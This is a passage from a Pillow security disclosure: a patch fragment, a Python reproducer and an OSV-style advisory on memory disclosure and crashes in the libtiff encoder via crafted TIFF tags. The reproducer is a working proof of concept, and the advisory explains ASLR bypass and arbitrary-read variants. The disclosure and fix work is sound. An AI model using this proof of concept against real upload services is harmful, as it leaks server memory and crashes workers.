av = calloc(len, sizeof(FLOAT32));
@@ -1000,8 +1135,9 @@ PyImaging_LibTiffEncoderNew(PyObject *self, PyObject *args) {
for (i = 0; i < len; i++) {
av[i] = (FLOAT32)PyFloat_AsDouble(PyTuple_GetItem(value, i));
}
- status =
- ImagingLibTiffSetField(&encoder->state, (ttag_t)key_int, av);
+ status = set_tiff_array_field(
+ &encoder->state, key_int, passcount, len, av
+ );
free(av);
}
}
diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c
index 8a57c523d..e14dd50bb 100644
--- a/src/libImaging/TiffDecode.c
+++ b/src/libImaging/TiffDecode.c
@@ -923,6 +923,29 @@ ImagingLibTiffMergeFieldInfo(
return TIFFMergeFieldInfo(clientstate->tiff, info, n);
}
+int
+ImagingLibTiffFindField(
+ ImagingCodecState state,
+ int key,
+ TIFFDataType *field_type,
+ int *passcount,
+ int *writecount
+) {
+ // Look up libtiff's own definition of a tag. TIFFMergeFieldInfo does not
+ // replace the definition of a tag that libtiff already knows, so this is
+ // what TIFFSetField will use for such tags.
+ TIFFSTATE *clientstate = (TIFFSTATE *)state->context;
+ const TIFFField *fip = TIFFFindField(clientstate->tiff, (ttag_t)key, TIFF_ANY);
+
+ if (!fip) {
+ return 0;
+ }
+ *field_type = TIFFFieldDataType(fip);
+ *passcount = TIFFFieldPassCount(fip);
+ *writecount = TIFFFieldWriteCount(fip);
+ return 1;
+}
+
int
ImagingLibTiffSetField(ImagingCodecState state, ttag_t tag, ...) {
// after tif_dir.c->TIFFSetField.
diff --git a/src/libImaging/TiffDecode.h b/src/libImaging/TiffDecode.h
index c31d0b9d8..ee1e4a5f9 100644
--- a/src/libImaging/TiffDecode.h
+++ b/src/libImaging/TiffDecode.h
@@ -41,6 +41,14 @@ ImagingLibTiffMergeFieldInfo(
ImagingCodecState state, TIFFDataType field_type, int key, int is_var_length
);
extern int
+ImagingLibTiffFindField(
+ ImagingCodecState state,
+ int key,
+ TIFFDataType *field_type,
+ int *passcount,
+ int *writecount
+);
+extern int
ImagingLibTiffSetField(ImagingCodecState state, ttag_t tag, ...);
/*
The reproducer
Reproducer —repro, 2,545 bytes (click to open)
Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.
#!/usr/bin/env python3
# Pillow libtiff writer: a count-1 integer tag copied from the source TIFF is passed to
# TIFFSetField() as one scalar vararg; for tags libtiff itself defines as arrays it is
# consumed as a byte COUNT (DNGPrivateData 50740 -> N bytes of process memory written
# into the output) or as a POINTER (ActiveArea 50829 -> SIGSEGV). Application side is
# the ordinary "open upload, save as TIFF" (compression is inherited -> libtiff writer).
import io, struct, subprocess, sys, resource
from PIL import Image
def upload(tag, value):
"""Pillow-written 16x16 LZW TIFF, plus one extra IFD entry <tag> LONG[1] = value."""
b = io.BytesIO()
Image.new("RGB", (16, 16), "red").save(b, "TIFF", compression="tiff_lzw")
data = bytearray(b.getvalue()); assert data[:4] == b"II*\0"
(off,) = struct.unpack_from("<I", data, 4)
(n,) = struct.unpack_from("<H", data, off)
ents = [bytes(data[off + 2 + 12 * i: off + 14 + 12 * i]) for i in range(n)]
ents.append(struct.pack("<HHII", tag, 4, 1, value))
ents.sort(key=lambda e: struct.unpack_from("<H", e)[0])
data += b"\0" * (len(data) & 1); new_off = len(data)
data += struct.pack("<H", len(ents)) + b"".join(ents) + struct.pack("<I", 0)
struct.pack_into("<I", data, 4, new_off)
return bytes(data)
def resave(src): # the whole "service"
im = Image.open(io.BytesIO(src)); out = io.BytesIO(); im.save(out, "TIFF")
return out.getvalue()
if len(sys.argv) > 1 and sys.argv[1] == "child":
resource.setrlimit(resource.RLIMIT_CORE, (0, 0))
resave(upload(50829, 64)); sys.exit(0)
print("PIL core:", Image.core.__file__)
ctl = Image.open(io.BytesIO(resave(upload(65000, 4096)))).tag_v2.get(65000)
print("control tag 65000=4096 ->", repr(ctl))
N = 65536
src = upload(50740, N)
try:
v = Image.open(io.BytesIO(resave(src))).tag_v2.get(50740)
except (ValueError, RuntimeError) as e: # a fixed Pillow may reject the tag
v = e
leak = isinstance(v, bytes) and len(v) == N and v[:64] not in src
print(f"leak tag 50740={N} from a {len(src)}-byte upload ->",
f"{len(v)} bytes not present in input, head {v[:32].hex()}" if leak else repr(v)[:80])
if leak:
so = open(Image.core.__file__, "rb").read()
print(" leaked bytes found in _imaging.so at file offset", hex(so.find(v[:256])))
rc = subprocess.call([sys.executable, __file__, "child"])
crash = rc in (-11, 139)
print("crash tag 50829=64 -> child exit", rc, "(SIGSEGV)" if crash else "")
print("BUG" if leak or crash else "OK")
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "pillow",
"resource_purl": "pkg:pypi/pillow@12.1.1",
"upstream_fixed_in": "13.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "aider",
"purl": "pkg:brew/aider"
},
"ranges": [
{
"events": [
{
"introduced": "0.86.1_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/pillow@12.1.1",
"name": "pillow",
"resource": "pillow",
"strategy": "registry",
"subject_version": "12.1.1"
}
]
},
"details": "```\n============================================================================\nMemory disclosure and segfault in libtiff encoder via crafted TIFF tags\nLocation: src/encode.c:1014 in PyImaging_LibTiffEncoderNew()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA crafted TIFF file of a few hundred bytes makes Pillow copy an attacker-chosen amount of its own process memory into the TIFF it writes back out, or crash the process outright. The trigger is an ordinary `Image.open()` followed by a bare `im.save(fp, \"TIFF\")`. The only precondition is that the application re-saves images as TIFF. When the uploaded file is compressed, Pillow routes that save through libtiff automatically, with no options from the application. The attached reproducer does this with a 356-byte LZW TIFF: one crafted tag comes back holding 65536 bytes taken from `_imaging.so`\u0027s read-only data, and a second crafted tag makes the worker die with SIGSEGV on every run.\n\nThe bug is in `PyImaging_LibTiffEncoderNew` (`src/encode.c`). It decides what arguments to pass to the variadic `TIFFSetField()` from the shape of the Python value (scalar, tuple or bytes). It assumes its `ImagingLibTiffMergeFieldInfo()` call defined how libtiff will read them. But `TIFFMergeFieldInfo()` never overrides libtiff\u0027s built-in field table, so libtiff reads the arguments according to its own definition of the tag:\n\n- For a counted array tag such as DNGPrivateData (50740), a count-1 integer in the source file is taken as the byte count. The data pointer is then read from an argument slot Pillow never wrote, and that many bytes are copied into the output.\n- For a fixed-size array tag such as ActiveArea (50829), the integer itself is used as the source address.\n\nWhere that unwritten slot points depends on the compiler. In the tested clang build it points into `_imaging.so`, and a larger count returned thousands of pointers into libpython, libc and libtiff, which defeats address-space randomisation for anyone chaining another bug. When the application preserves metadata with `tiffinfo=im.tag_v2`, a 64-bit entry turns ActiveArea into a 16-byte read from an address the attacker chooses. All observed memory errors are reads; no out-of-bounds write was found.\n\nOther branches of the same loop share the defect and are reachable from crafted TIFFs or from EXIF in JPEG/PNG/WebP re-saved as compressed TIFF. These are the `bytes`, RATIONAL-tuple and typed-tuple branches, and a BYTE-typed ColorMap. The file-reachable forwarding was introduced in `a3d45e9cefd0` (\"Added custom int and float TIFF tags\") and first released in 5.4.0.\n\n## Details\n\n`PyImaging_LibTiffEncoderNew` (`src/encode.c:777-1060`) chooses the argument\nlist it hands to the variadic `TIFFSetField()` from the *Python* value of each\ntag \u2014 scalar vs. tuple vs. `bytes`, and a type that is either autodetected or\ncopied from the source file\u0027s IFD \u2014 and assumes that its own\n`ImagingLibTiffMergeFieldInfo()` registration defines how libtiff will read the\n`va_list`. It does not: libtiff keeps its built-in definition for every tag it\nalready knows, and core tags are never registered at all. libtiff therefore\nconsumes the varargs as `(count, pointer)`, `(pointer)` or three pointers\naccording to *its* field table, whatever Pillow actually pushed. The encoder\nnever consults that table (`TIFFFindField` / `TIFFFieldPassCount` /\n`TIFFFieldWriteCount` / `TIFFFieldDataType`) before the call.\n\nThe most severe instance, and the one the attached reproducer exercises: when a\nTIFF is re-saved through the libtiff writer, every tag of the source IFD that\nPillow does not recognise is forwarded to libtiff with `TIFFSetField()`. A\ncount-1 integer entry is passed as a single scalar vararg. If libtiff\u0027s own\nfield table defines that tag number as an *array* field, libtiff consumes the\nvarargs as `(count, pointer)` or `(pointer)` instead, so the attacker\u0027s integer\nbecomes either the number of bytes to copy from a never-written vararg slot, or\nthe source address itself. The same mismatch is reachable through the typed\ntuple branches (tuple length consumed as a pointer for fixed-count built-in\ntags such as `CFARepeatPatternDim`, even when the source file is well-formed),\nthe `bytes`, `TIFF_RATIONAL`-tuple and core-tag branches of the same loop;\nthose are listed\nunder *Other branches with the same defect* below and need to be covered by the\nsame fix.\n\nA 181-byte TIFF (16\u00d716 RGB, one LZW strip, plus one extra IFD entry\n`50740 / LONG / count 1 / value 4096` \u2014 DNGPrivateData) opened with\n`Image.open()` and saved with a bare `im.save(buf, \"TIFF\")` produces a 4296-byte\noutput whose tag 50740 holds 4096 bytes that occur nowhere in the input; scanning\n`/proc/self/mem` finds them in the read-only data segment of `_imaging.so`.\nChanging the extra entry to `50829 / LONG / 1 / 64` (ActiveArea) makes the same\ntwo calls segfault in `memcpy(dst, src=0x40, n=16)` under\n`ImagingLibTiffSetField` \u2190 `PyImaging_LibTiffEncoderNew`. An ASan build of the\nextensions reports `READ of size 4096` in `memcpy` called from\n`src/encode.c:1014` for the first input.\n\n### Code path\n\n`_save` copies all tags of the opened image into the libtiff attribute list.\nFor a tag that is neither in `LIBTIFF_CORE` nor in `TiffTags.TAGS_V2`, no type\nis recorded, so the value goes through untyped:\n\n```python\n# src/PIL/TiffImagePlugin.py:1782\nsupplied_tags = {**legacy_ifd, **getattr(im, \"tag_v2\", {})}\n\u2026\n# :1959-1982\nfor tag, value in itertools.chain(ifd.items(), supplied_tags.items()):\n if tag not in TiffTags.LIBTIFF_CORE:\n \u2026\n elif isinstance(value, (int, float, str, bytes)) or \u2026:\n type = TiffTags.lookup(tag).type # None for 50740, 50829, \u2026\n if type:\n types[tag] = type\n if tag not in atts and tag not in blocklist:\n \u2026\n atts[tag] = value # plain int 4096\n```\n\n`compression` defaults to the source image\u0027s `im.info[\"compression\"]`\n(`TiffImagePlugin.py:1731-1746`), so a compressed source selects the libtiff\nwriter without the application asking for it.\n\nIn the encoder the untyped `int` is autodetected as `TIFF_LONG`\n(`src/encode.c:805-815`), the tag is \"registered\" as a scalar custom field, and\nthen set with one 32-bit vararg:\n\n```c\n// src/encode.c:844 (is_var_length = 0 \u2192 writecount 1, passcount 0)\nif (ImagingLibTiffMergeFieldInfo(\u0026encoder-\u003estate, type, key_int, is_var_length)) {\n \u2026 continue;\n}\n\u2026\n// src/encode.c:1013-1016\n} else if (type == TIFF_LONG || type == TIFF_IFD) {\n status = ImagingLibTiffSetField(\n \u0026encoder-\u003estate, (ttag_t)key_int, (UINT32)PyLong_AsLong(value)\n );\n```\n\nThe registration does not do what the caller assumes. `TIFFMergeFieldInfo()`\nonly adds definitions for tags libtiff does not already know and returns 0\n(success) either way, so for tags in libtiff\u0027s built-in table the built-in\ndefinition stays in force. Queried against the linked libtiff 4.5.0 after\nexactly Pillow\u0027s merge call:\n\n```\n50740 DNGPrivateData type=BYTE passcount=1 writecount=-1 (unchanged)\n50829 ActiveArea type=LONG passcount=0 writecount=4 (unchanged)\n65000 CustomField type=LONG passcount=0 writecount=1 (Pillow\u0027s definition, tag was unknown)\n```\n\nlibtiff\u0027s setter for `FIELD_CUSTOM` tags then interprets the `va_list`\naccording to *its* definition: for `passcount=1` it reads `va_arg(ap, int)` as\nthe element count \u2014 the attacker\u0027s 4096 \u2014 allocates `count * size` bytes and\n`memcpy`s that many bytes from `va_arg(ap, void *)`, a slot\n`PyImaging_LibTiffEncoderNew` never wrote. On x86-64 that slot is register\n`rcx`; in this build it holds a pointer into `_imaging.so`\u0027s `.rodata`, so the\ncopy succeeds deterministically (a value of 2 000 000 also succeeds and yields a\n2 000 200-byte output). `TIFFWriteDirectory` writes the copied bytes into the\noutput file as the tag\u0027s value. For fixed-count array fields (`passcount=0`,\n`writecount=4` for ActiveArea) there is no count argument, so the attacker\u0027s\nscalar is consumed as the `void *` source and 16 bytes are read from address\n64 \u2192 SIGSEGV.\n\nTags in libtiff 4.5\u0027s built-in table that Pillow forwards untyped and that take\nthe `(count, pointer)` form include DNGPrivateData 50740, CFAPattern 33422,\nCFAPlaneColor 50710, LinearizationTable 50712, BlackLevel 50714, WhiteLevel\n50717, ColorMatrix1/2 50721/50722, AsShotNeutral 50728, OriginalRawFileName/Data\n50827/50828, AsShotICCProfile 50831, CurrentICCProfile 50833. Fixed-count ones\n(pointer only \u2192 crash) include ActiveArea 50829, DNGVersion/DNGBackwardVersion\n50706/50707, DefaultScale/DefaultCropOrigin/DefaultCropSize 50718\u201350720,\nAsShotWhiteXY 50729, CFARepeatPatternDim 33421, BlackLevelRepeatDim 50713,\nImageLayer 34732, RawDataUniqueID 50781.\n\nWhen the application saves with `tiffinfo=im.tag_v2` (the documented way to\npreserve metadata), the file-declared type is honoured, and a `LONG8` entry\nreaches the `(uint64_t)PyLong_AsLongLong(value)` branch at\n`src/encode.c:1049-1052`. For ActiveArea that is a 16-byte read from a full\n64-bit attacker-chosen address into the output: a source entry\n`50829 / LONG8 / 1 / \u003caddress of a Python bytes object\u003e` produced an output\nActiveArea of `(b\u0027SECR\u0027, b\u0027ET-T\u0027, b\u0027OKEN\u0027, b\u0027-012\u0027)` in testing.\n\nThe comment above `blocklist +=` at `TiffImagePlugin.py:1938-1944` already notes\nthat array tags with the wrong length \"will result in segfaults\"; the blocklist\ncovers only a handful of tags Pillow itself knows, not the ones libtiff knows and\nPillow does not. Forwarding of these tags was introduced in `a3d45e9cefd0`\n(\"Added custom int and float TIFF tags\", 2018-10-25), first released in 5.4.0;\nreleases 2.0.0\u20133.0.0 forwarded them as scalars too, until `9fa6634f4`\n(\"Partial fix for #1597\") limited `_save` to `LIBTIFF_CORE`.\n\n### Other branches with the same defect\n\nThe scalar-integer branch above is one of several places in the same loop\nwhere the call shape is derived from the Python value rather than from\nlibtiff\u0027s definition. All of the following were confirmed on this commit (stock\nbuild crashes and/or ASan reports, stack always `memcpy \u2190 libtiff \u2190\nImagingLibTiffSetField src/libImaging/TiffDecode.c:934 \u2190\nPyImaging_LibTiffEncoderNew`), and all are reachable from a sub-1 KB crafted\nfile followed by an ordinary `save()`:\n\n* **Typed tuple \u2192 `(len, av)` for a fixed-count built-in field**\n (`src/encode.c:904-994`, the SHORT/LONG/SBYTE/SSHORT/SLONG/FLOAT/DOUBLE\n tuple branches all call `ImagingLibTiffSetField(..., len, av)`). For libtiff\n built-in fields with `passcount=0` and a fixed `writecount` \u2014\n `CFARepeatPatternDim` 33421 (SHORT\u00d72), `BlackLevelRepeatDim` 50713\n (SHORT\u00d72), `ImageLayer` 34732 (LONG\u00d72), `ActiveArea` 50829 (LONG\u00d74),\n `MatrixWorldToScreen/Camera` 33305/33306 (FLOAT\u00d716) \u2014 libtiff takes the\n *first* vararg as the source pointer, so the tuple length becomes the\n `memcpy` source address. A perfectly well-formed 206-byte 8\u00d78 PackBits TIFF\n carrying `33421 / SHORT / 2 / (2, 2)` re-saved with a bare\n `im.save(out, \"TIFF\")` dies with SIGSEGV in `memcpy` (gdb: `rsi = 0x2`, the\n tuple length) on every run; so does\n `Image.new(\"L\", (8, 8)).save(buf, \"TIFF\", compression=\"packbits\",\n tiffinfo={33421: (2, 2)})`, and a JPEG whose EXIF carries the tag saved with\n `exif=im.getexif()` into a compressed TIFF. `bytes` values for built-in\n fixed-count BYTE tags (e.g. `DNGVersion` 50706, BYTE\u00d74) crash the same way\n through the `(PyBytes_Size, PyBytes_AsString)` call at `src/encode.c:860-865`.\n The mirror image for `passcount=1` fields: `Photoshop` 34377 declared\n SHORT, count 1, value 60000 takes the scalar branch at `:1009-1012`, libtiff\n reads 60000 as the count and an unpassed vararg as the pointer, and the\n re-save *succeeds* with a 60162-byte output whose tag 34377 holds 60000 bytes\n of process memory (here C prototype strings from `_imaging.so`\u0027s `.rodata`).\n* **`bytes` value \u2192 single `char *`** (`src/encode.c:805-815` autodetects\n `bytes` as `TIFF_ASCII`; `:1033-1042` passes `PyBytes_AsString(value)` alone).\n `ImageFileDirectory_v2._setitem` stores a BYTE-typed entry as bare `bytes`\n and an ASCII-typed one as `str` (encoded to `bytes` by `_save`), so the\n file\u0027s declared type selects this branch.\n - `ColorMap` (320) declared BYTE with 4 bytes of data in a non-palette\n PackBits TIFF: 320 is in `core_tags[]`, no type is consulted, the value\n skips the 768-tuple `TIFFTAG_COLORMAP` branch (`:871-895`) and libtiff reads\n three `uint16_t *` and copies `1 \u003c\u003c BitsPerSample` shorts from each \u2014 a\n 512-byte over-read of the 5-byte Python bytes buffer, then dereference of\n two stale argument registers \u2192 SIGSEGV on every run of\n `Image.open(f); im.save(out, \"TIFF\")`. `COLORMAP` is not in `_save`\u0027s\n `blocklist`.\n - `Photoshop` (34377) declared ASCII: `_save` copies value *and* type\n (`TiffImagePlugin.py:1802-1818`; only `IPTC_NAA_CHUNK` has a BYTE/UNDEFINED\n type guard there, from commit 2245df0a \u2014 `PHOTOSHOP_CHUNK` and `XMP` do\n not). libtiff\u0027s definition is BYTE, `passcount=1`, so the low 32 bits of\n the `char *` become the byte count for a `memcpy` from a stale register\n (ASan: `READ of size 3518384`; stock: SIGSEGV in about half of runs,\n otherwise `RuntimeError`). `ICCProfile` (34675) declared ASCII behaves the\n same way via `im.info[\"icc_profile\"]` \u2192 `ifd[ICCPROFILE]`\n (`TiffImagePlugin.py:1822-1824`).\n* **`TIFF_RATIONAL` tuple \u2192 array with no count** (`src/encode.c:995-1006`;\n compare the `TIFF_FLOAT` branch at `:969-981`, which passes `len, av`).\n - For a private tag (e.g. 50000) Pillow itself registers the field with\n `passcount=1` (`TiffDecode.c:904-908`), so libtiff takes the low 32 bits of\n `av` as the element count and the next stale vararg as the source:\n `heap-buffer-overflow READ of size 119872 \u2026 right of 8-byte region` under\n ASan (`119872 == 4 * low32(av)`), SIGSEGV in ~4 of 5 stock runs. Reached by\n a JPEG whose EXIF carries one private RATIONAL\u00d72 tag saved with\n `im.save(out, \"TIFF\", compression=\"tiff_lzw\", exif=im.info[\"exif\"])`, or a\n TIFF re-saved with `tiffinfo=im.tag_v2` (`_setitem` auto-types a tuple of\n `IFDRational` as RATIONAL, `TiffImagePlugin.py:689-701`; `types[tag] =\n ifd.tagtype[tag]` at `:1968`).\n - For libtiff\u0027s built-in fixed-count float tags `WhitePoint` (318, 2),\n `PrimaryChromaticities` (319, 6) and `YCbCrCoefficients` (529, 3), which\n `_save` forwards from any source TIFF and types RATIONAL via\n `TiffTags.lookup`, the pointer-only convention happens to match, but\n libtiff copies its *fixed* count from an array that is only as long as the\n file declared: a PackBits TIFF with `PrimaryChromaticities` count 1 and a\n bare `im.save(out, \"TIFF\")` gives `READ of size 24 \u2026 right of 4-byte\n region`, and the over-read floats are written to tag 319 of the output.\n `REFERENCEBLACKWHITE`/`TRANSFERFUNCTION` are blocklisted at\n `TiffImagePlugin.py:1941-1952` for exactly this reason; 318/319/529 are not.\n* **Core tag reached as a scalar via a stale file-supplied type.** With the\n re-save idiom `im.save(out, \"TIFF\", tiffinfo=im.tag_v2)`, `_save` copies\n `ifd.tagtype[key] = info.tagtype[key]` for every key\n (`TiffImagePlugin.py:1768-1776`) and later assigns its own values to some of\n the same tags without resetting the type (`ifd[COLORMAP] = colormap` at\n `:1870-1877`; likewise BitsPerSample, SamplesPerPixel, ExtraSamples,\n ICCProfile, \u2026). For a 418-byte PackBits *palette* TIFF whose ColorMap entry\n is declared BYTE, `_setitem` (`:751-770`) truncates `_save`\u0027s 768-entry\n palette to a single `int` (with only a \"too many entries\" warning), the\n encoder receives `(320, 0)`, autodetects `TIFF_LONG`, and\n `src/encode.c:1013-1016` calls `TIFFSetField(TIFFTAG_COLORMAP, (UINT32)0)` \u2014\n libtiff reads three `uint16_t *` and faults at an address \u2264 65280 on every\n run. The stale-tagtype copy is a Python-side hygiene bug in its own right,\n but its memory-safety consequence exists only because the encoder lets a\n non-tuple value reach `TIFFSetField(COLORMAP)`.\n\n## Impact\n\nAny service that accepts a TIFF and writes it back out as TIFF through libtiff \u2014\nwhich happens with a plain `im.save(fp, \"TIFF\")` whenever the uploaded file is\ncompressed, or whenever a `compression=` other than raw is requested \u2014 returns\nto the uploader, inside one metadata tag of the produced file, an\nattacker-chosen number of bytes read from a stale pointer in the worker process,\ndeterministically and without retries. Which memory that is depends on the\ncompiler\u0027s register allocation for `PyImaging_LibTiffEncoderNew`: in this clang\nbuild the pointer is `_imaging.so + 0x1588`, so a request for 262 144 bytes\n(which succeeded every time in testing, as did 2 000 000) covers the\nextension\u0027s `.rodata`, `.data.rel.ro`/GOT and `.data` and returned 2 800+\nresolved pointers into libpython, libc, libtiff, libjpeg and others \u2014 a complete\nASLR bypass for chaining with any other memory bug; a gcc build of the same\nsource left a different, unrelated address in that slot. The fixed-count\nvariant kills the worker process with SIGSEGV from a 181-byte upload on every\nrequest. With `tiffinfo=im.tag_v2` the source\naddress is fully attacker-chosen (16-byte arbitrary read into the output for\nActiveArea, or a crash). No non-default Pillow setting is involved; the only\nprecondition is TIFF-to-TIFF re-encoding.\n\nThe other branches add further deterministic process-kill inputs (BYTE-typed\nColorMap in any RGB or palette TIFF; `thumbnail()` keeps `tag_v2`, so\nopen\u2192thumbnail\u2192save-as-TIFF is affected too) and extend the reach to\nJPEG/PNG/WebP uploads whose EXIF is preserved with `exif=` when converting to\nlibtiff-compressed TIFF. All the memory errors are reads; libtiff sizes its\ndestination buffers with the same count it copies, so no out-of-bounds write\nwas found.\n\n## Reproducing\n\n`repro` is one Python script, run against the stock build with the installed `PIL`. It needs no compiler and no extra files.\n\n`upload(tag, value)` has Pillow write a 16\u00d716 red RGB image as an LZW-compressed TIFF, then appends a new IFD holding the same entries plus one extra `\u003ctag\u003e / LONG / count 1 / value` (kept in tag order) and points the header at it \u2014 a 356-byte input on this tree. The source is LZW-compressed on purpose. A bare `im.save(out, \"TIFF\")` keeps the source\u0027s compression, so the save goes through the libtiff writer even though the application passes no arguments. `resave()` is the whole \"application\": `Image.open(BytesIO(src)); im.save(out, \"TIFF\")`.\n\nThe script runs three cases:\n\n1. **Control, tag 65000 = 4096.** libtiff does not know this tag, so the file is re-saved correctly and the output tag reads back as the integer `4096`. This is what should happen to every tag.\n2. **Leak, DNGPrivateData 50740 = 65536.** libtiff\u0027s built-in definition of this tag is a counted BYTE array. It reads Pillow\u0027s single scalar as the *count* and takes the data pointer from a vararg slot Pillow never wrote. The output tag comes back as `bytes` of length 65536 that do not occur in the input. The script prints the first 32 of them and the file offset at which they occur in `_imaging.so` on disk. On this build they always do (offset `0x57588`): the stale pointer aims into the extension\u0027s read-only data.\n3. **Wild read, ActiveArea 50829 = 64.** libtiff defines this tag as a fixed LONG[4] array with no count, so it uses the scalar 64 as the *source address*. The script re-runs itself as a child process (`repro child`, core dumps disabled) to do this re-save, and the child exits with `-11`, meaning SIGSEGV.\n\nExpected output on the affected tree:\n\n```\ncontrol tag 65000=4096 -\u003e 4096\nleak tag 50740=65536 from a 356-byte upload -\u003e 65536 bytes not present in input, head a661fcffc661fcff3360fcff7b61fcffd361fcff085ffcffe061fcff3360fcff\n leaked bytes found in _imaging.so at file offset 0x57588\ncrash tag 50829=64 -\u003e child exit -11 (SIGSEGV)\nBUG\n```\n\nThe script prints `BUG` if case 2 leaks or case 3 crashes. Both are deterministic on this build. A fixed Pillow prints `OK`: the tag does not come back as 65536 bytes of foreign data (it reads back as `None`, or `save()` raises `ValueError`/`RuntimeError`, which the script catches), and the child exits with something other than SIGSEGV (0, or 1 if `save()` raised).\n\nThe other branches can be checked by hand on the stock build in the same way\n(each as `Image.open(f); im.save(BytesIO(), \"TIFF\")` in a child process):\na PackBits RGB TIFF with an extra IFD entry `320 / BYTE / 4 / \"ABCD\"` \u2192\nSIGSEGV every run; a PackBits palette TIFF whose ColorMap is `320 / BYTE / 2`\nsaved with `tiffinfo=im.tag_v2` \u2192 SIGSEGV every run; a Pillow-written JPEG\nwhose EXIF holds tag 50000 = RATIONAL\u00d72 saved with\n`compression=\"tiff_lzw\", exif=im.info[\"exif\"]` \u2192 SIGSEGV in most runs,\n`RuntimeError` (\"Failed to allocate memory for custom tag binary object\n(-N elements of 4 bytes each)\") in the rest.\n\n## Suggested fix\n\nThe encoder must not guess the calling convention; it has to ask libtiff what\nthe tag\u0027s effective definition is *after* `ImagingLibTiffMergeFieldInfo` and\nmarshal accordingly, or refuse. The attached patch does this for non-core tags:\n\n* a new `ImagingLibTiffFindField()` in `src/libImaging/TiffDecode.c` (declared\n in `TiffDecode.h`, next to the other libtiff wrappers) returns libtiff\u0027s\n `TIFFFindField` type, `passcount` and `writecount` for a tag;\n* in `PyImaging_LibTiffEncoderNew` (`src/encode.c`), for a non-core tag that\n libtiff already knows, Pillow adopts libtiff\u0027s type when it has none of its\n own, and after `ImagingLibTiffMergeFieldInfo` a new `tiff_field_matches()`\n checks the value against libtiff\u0027s definition: a scalar only for a\n single-value field whose C argument type (int / `uint64_t` / double /\n `char *`) matches, an array only with libtiff\u0027s element size and, for\n fixed-count fields, exactly `writecount` elements. Anything else raises\n `ValueError(\"Tag value does not match libtiff field definition\")` instead of\n reaching `TIFFSetField` \u2014 this covers the reproducer\u0027s DNGPrivateData and\n ActiveArea inputs, ASCII-typed Photoshop, short PrimaryChromaticities and the\n `LONG8` `tiffinfo=` variant;\n* every tuple/`bytes` branch now goes through `set_tiff_array_field()`, which\n passes `len` only when the field has `passcount` set; this also fixes the\n `TIFF_RATIONAL` branch, which never passed a count (and extends it to\n `TIFF_SRATIONAL`);\n* `TIFF_UNDEFINED` fields are registered as variable-length, matching how their\n `bytes` values are passed;\n* `Tests/test_file_libtiff.py` gains a regression test (scalar DNGPrivateData,\n scalar and 2-tuple ActiveArea rejected; well-formed values round-trip).\n\nCore tags and tags libtiff does not know keep their current behaviour. With the\npatch applied to a clean checkout and rebuilt, the reproducer no longer\ntriggers and the test suite passes. It is not a complete fix, however: the\nwhole check sits inside `if (!is_core_tag)`, so the BYTE-typed ColorMap variant\nstays open. The PackBits RGB TIFF carrying `320 / BYTE / 4`, re-saved with a\nbare `save()`, no longer segfaults at this point but writes 1536 bytes \u2014\nover-read from the 5-byte `bytes` object and two stale varargs, including 22\nlive heap pointers \u2014 into the output ColorMap, which is still a disclosure.\nBefore merging, it needs a guard that accepts `TIFFTAG_COLORMAP` only through\nthe existing 768-tuple branch, never through the scalar or `bytes` branches,\nand ideally the same shape check for the other core tags libtiff special-cases\nin `_TIFFVSetField` (YCbCrSubsampling 530, TransferFunction 301,\nReferenceBlackWhite 532).\n\nNarrower Python-side mitigations in `_save` close individual entry points but\nnot the class, and are worth adding alongside the C-side check: drop tags\nwith `TiffTags.lookup(tag).type is None` from `supplied_tags` (closes the `Image.open()\u2192save()` path shown here but not\n`tiffinfo=` callers); remove `COLORMAP` from `supplied_tags` next to\n`EXIFIFD`/`SAMPLEFORMAT` and extend the `IPTC_NAA_CHUNK` BYTE/UNDEFINED type\nguard to `PHOTOSHOP_CHUNK` and `XMP`; add 318/319/529 to the blocklist next to\n`REFERENCEBLACKWHITE`; and have `_save` `ifd.tagtype.pop(tag, None)` before\nassigning its own ColorMap/BitsPerSample/ICCProfile/\u2026 values so a\n`tiffinfo=`-imported type cannot reshape them. The C-side check is the fix to\nrely on.\n\n## The patch\n\nPass TIFF tag values to libtiff according to its own field definition, and raise ValueError when they do not fit\n\nApplies to `src/encode.c` at the commit above. It passed the mechanical check \u2014 applied to a clean tree, rebuilt, the reproducer stopped firing \u2014 but a reviewer did not endorse it as the right fix.\n\n```diff\ndiff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py\nindex 3d804ea4a..adc4633e4 100644\n--- a/Tests/test_file_libtiff.py\n+++ b/Tests/test_file_libtiff.py\n@@ -395,6 +395,43 @@ class TestFileLibTiff(LibTiffTestCase):\n with pytest.raises(ValueError, match=\"Incorrect tag value type\"):\n im.save(out, tiffinfo=ifd)\n \n+ @pytest.mark.parametrize(\n+ \"tag, value\",\n+ (\n+ # DNGPrivateData is a BYTE array with a count to libtiff\n+ (50740, 4096),\n+ # ActiveArea is a LONG array of four values to libtiff\n+ (50829, 64),\n+ (50829, (0, 0)),\n+ ),\n+ )\n+ def test_libtiff_field_definition(\n+ self, tag: int, value: Any, monkeypatch: pytest.MonkeyPatch, tmp_path: Path\n+ ) -\u003e None:\n+ monkeypatch.setattr(TiffImagePlugin, \"WRITE_LIBTIFF\", True)\n+\n+ ifd = TiffImagePlugin.ImageFileDirectory_v2()\n+ ifd[tag] = value\n+ ifd.tagtype[tag] = TiffTags.LONG\n+\n+ out = tmp_path / \"temp.tif\"\n+ im = Image.new(\"L\", (1, 1))\n+ with pytest.raises(ValueError, match=\"libtiff field definition\"):\n+ im.save(out, tiffinfo=ifd)\n+\n+ # Values that match the libtiff definition are written\n+ ifd = TiffImagePlugin.ImageFileDirectory_v2()\n+ ifd[50740] = b\"private\"\n+ ifd.tagtype[50740] = TiffTags.BYTE\n+ ifd[50829] = (0, 0, 1, 1)\n+ ifd.tagtype[50829] = TiffTags.LONG\n+ im.save(out, tiffinfo=ifd)\n+\n+ with Image.open(out) as reloaded:\n+ assert isinstance(reloaded, TiffImagePlugin.TiffImageFile)\n+ assert reloaded.tag_v2[50740] == b\"private\"\n+ assert reloaded.tag_v2[50829] == (0, 0, 1, 1)\n+\n def test_inknames_tag(\n self, monkeypatch: pytest.MonkeyPatch, tmp_path: Path\n ) 